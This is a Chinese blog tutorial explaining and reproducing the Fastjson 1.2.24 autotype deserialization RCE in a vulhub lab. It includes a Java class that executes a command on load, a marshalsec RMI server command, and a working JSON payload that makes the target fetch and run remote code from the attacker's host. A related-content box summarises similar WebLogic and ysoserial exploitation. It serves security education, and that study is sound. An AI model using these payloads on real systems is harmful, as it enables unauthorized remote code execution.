Fastjson反序列化漏洞原理与漏洞复现(基于vulhub靶场)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 前言

0x2 漏洞原理及介绍

1、什么是json?

2、Fastjson概述

3、Fastjson漏洞原理

4、Fastjson漏洞利用详解

0x3 环境搭建

0x4 漏洞复现

1、远程创建文件

2、开启RMI服务

0x5 总结


0x1 前言

Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞,他是阿里巴巴的开源库,下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容,然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞!!!

0x2 漏洞原理及介绍

1、什么是json?

json是一种数据格式,对于我们互联网来说,我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml,但是xml数据体重太大,效率低下,所以就有了另外一种数据格式,叫json。

json一共有两种体现:

  • json对象、json数组
  • json对象:json本身是一个字符串,{建:值, 建:值}

举例:

{
  "name" : "routing",
  "2003-11-11",
  "age" : 20,
  "likes" : ["看电影" , "看书"]
}

2、Fastjson概述

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。

Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

  • toJSONString()方法:(序列化)将json对象转换成JSON字符串;
  • parseObject()方法:(反序列化)将JSON字符串转换成json对象。

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

3、Fastjson漏洞原理

fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。

【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】

关于JNDI注入,大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍:

JNDI注入原理及利用IDEA漏洞复现-CSDN博客

4、Fastjson漏洞利用详解

1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?

3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)

4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

5、靶机服务器执行了恶意代码,被攻击者成功利用。

这里给大家看看红队大佬的图解,希望对大家理解fastjson漏洞原理的利用有帮助。

0x3 环境搭建

靶机:Ubantu IP 192.168.103.161 (先要安装docker,然后下载vulhub) 启动vulhub里面的fastjson环境

攻击机:kali IP 192.168.103.129

我们先利用Ubantu进入vulnhub靶场,进入/vulhub/fastjson/1.2.24-rce目录下,然后执行以下命令,看到done,那么就表示环境开启成功了。

docker-compose up -d

查看我们ubantu中docker开启环境的端口情况,端口是8090

docker ps -a

我们访问 ubantu的IP+端口,192.168.103.161:8090,得到如下的界面:

0x4 漏洞复现

1、远程创建文件

一、这里要创建java代码文件,所以对环境比较严格,要保证java和javac的版本一致,且都是1.8的版本!!!

二、我们先在本地把java代码文件编译好,然后再上传到攻击机:kali下保存以下代码为TouchFile.java文件

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFrank"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

三、编译.java文件,生成.class文件。

javac TouchFile.java

四、然后我们再把编译好的.class文件上传到攻击机kali目录下

五、在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:

┌──(root💀kali)-[~/桌面/fastjson]
└─# python -m http.server 4444

六、访问kali的IP+开启http服务的4444端口,就会出现下面的页面

2、开启RMI服务

一、开启rmi服务之前,我们需要利用marshalsec项目,需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具,下载链接如下:Apache-Log4j-Learning/tools at main · bkfish/Apache-Log4j-Learning · GitHub

二、接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:

开启RMI服务,命令行中的IP地址是kali攻击机开始开启http服务的地址

┌──(root💀kali)-[~/桌面/Apache-Log4j-Learning-main/tools]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.103.129:4444/#TouchFile" 9999

三、利用burp抓取靶机ubantu(192.168.103.161:8090)的包,然后再改变抓到的包的请求方式为POST,然后再发送到Repeater中。

四、添加payload,师傅们可以参考我这个请求包的内容,因为我开始在网上找了很多,然后rmi服务监听都没有回应,都失败了。

POST / HTTP/1.1
Host: 192.168.103.161:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 165

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.103.129:9999/TouchFile",
        "autoCommit":true
    }
}

主要是看这两个地方,圈起来的是主要payload,然后看是否成功执行了,就看返回包中是否回显500关键字。

然后可以看到rmi服务的监听和开启的http服务都有回应了。

五、我们开始的TouchFile.java这个脚本文件,我们是让他执行touch /tmp/successFrank 目录文件,我们来看看是否执行成功了。

详细步骤如下:

1、docker ps  //找到CONTAINER ID

2、docker exec -it CONTAINER ID /bin/bash   //就可以进入CONTAINER ID当前目录下了

3、cd /tmp  

4、ls   //就可以看到创建的successFrank文件了

目前,我们就把漏洞复现成功了!!!

0x5 总结

JDK1.8安装详细教程:Kali安装JDK 1.8的详细过程_kali安装jdk1.8-CSDN博客

安装vulnhub详细教程:Kali Linux 2020安装vulhub_kali2020上安装vulhub-CSDN博客

哔哩哔哩视频讲解:【fastjson反序列化漏洞演示加详细讲解加原理】 fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili

  • 44
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
WebLogic和Fastjson反序列化漏洞是两个独立的漏洞,但它们都涉及到Java反序列化安全问题。我会分别给你介绍这两个漏洞原理复现方法。 1. WebLogic反序列化漏洞原理分析及复现: WebLogic反序列化漏洞是指通过利用WebLogic Server中T3协议的漏洞,攻击者可以在目标服务器上执行任意代码。这个漏洞的根本原因是WebLogic Server在处理T3协议时未正确过滤用户提供的数据,导致攻击者可以构造恶意的序列化数据,在服务器端触发反序列化漏洞复现漏洞的步骤如下: 1) 下载并配置WebLogic Server环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造T3协议请求,将生成的payload嵌入到请求中。 4) 启动WebLogic Server,并发送恶意请求。 5) 成功触发反序列化漏洞后,攻击者可以执行任意代码。 2. Fastjson反序列化漏洞原理分析及复现Fastjson是一个常用的Java JSON库,该漏洞存在于Fastjson的版本1.2.24及之前的版本中。攻击者可以通过构造恶意的JSON数据,触发Fastjson反序列化漏洞,从而执行任意代码漏洞的原因是Fastjson反序列化JSON数据时,对默认类型进行了自动化检测和加载,并且允许调用类的默认构造函数,从而导致了代码执行漏洞。攻击者可以通过构造恶意的JSON数据,在目标服务器上执行任意代码复现漏洞的步骤如下: 1) 下载并配置Fastjson版本1.2.24或之前的环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造恶意的JSON数据,将生成的payload嵌入到JSON中。 4) 编写测试代码,使用Fastjson进行反序列化操作。 5) 执行测试代码,成功触发反序列化漏洞后,攻击者可以执行任意代码。 请注意,漏洞利用是非法行为,仅在授权范围内进行安全测试和研究。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hacker-routing

您的鼓励是对我最大的动力!!!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值